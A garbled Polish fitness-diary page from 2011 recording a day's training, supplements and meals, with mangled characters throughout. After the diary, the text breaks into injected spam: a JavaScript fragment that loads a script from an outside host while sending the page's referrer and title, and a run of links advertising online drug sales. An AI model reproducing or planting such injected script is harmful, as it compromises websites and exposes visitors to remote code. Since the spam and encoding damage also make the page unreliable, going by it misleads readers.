wtorek:-(

30.08.2011 / Michał Karmowski

DziAi?? w nocy zmieniAi??em dwie koszulki bo tak siAi?? wypociAi??em po aspirynie, rano dalej bolaAi??a mnie gAi??owa ale wstaAi??em o 6.00 zjadAi??em Ai??niadanie i pojechaAi??em na zajAi??cia personalne do klubu.

Z braku czasu musiaAi??em zrobiAi?? trening zaraz po Ai??niadaniu co po chorobie i osAi??abieniu nie byAi??o najlepszym wyborem.

dieta:

1-600g biaAi??ek jaj, 150g pAi??atkA?w zalanych kawa z cynamonem, 100g awokado

przed treningiem 2 miarki s.a.w. oraz 2 miarki bcaa i glutaminy

Trening:triceps &biceps, a po treningu 75g z isolate 100, 2 miarki bcaa i 2 miarki glutaminy

2,3,4,5,- 300g kurczaka z grill w ziolach, 75g ryzu basmati, 15g oleju lnianego

30 min aerobA?w

6-350g woAi??owiny , 100g awkado

dzien ogolnie sAi??aby ale chociaA? zrobiAi??em trening i daAi??em rade machnAi??Ai?? aeroby, jutro nogi …} http://cecc-expertises.fr/2018/02/cheap-depakote-er-500mg/ s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; } else { best place to buy kamagra online. Kamagra canada. buy kamagra online with paypal. how to buy avanafil online Buy http://www.iemploi-aive.ch/index.php/2018/03/19/buy-depo-provera/ cheap himcocid online online pharmiacies http://alokapidakaldim.com/inderal-where-to-buy.html Purchase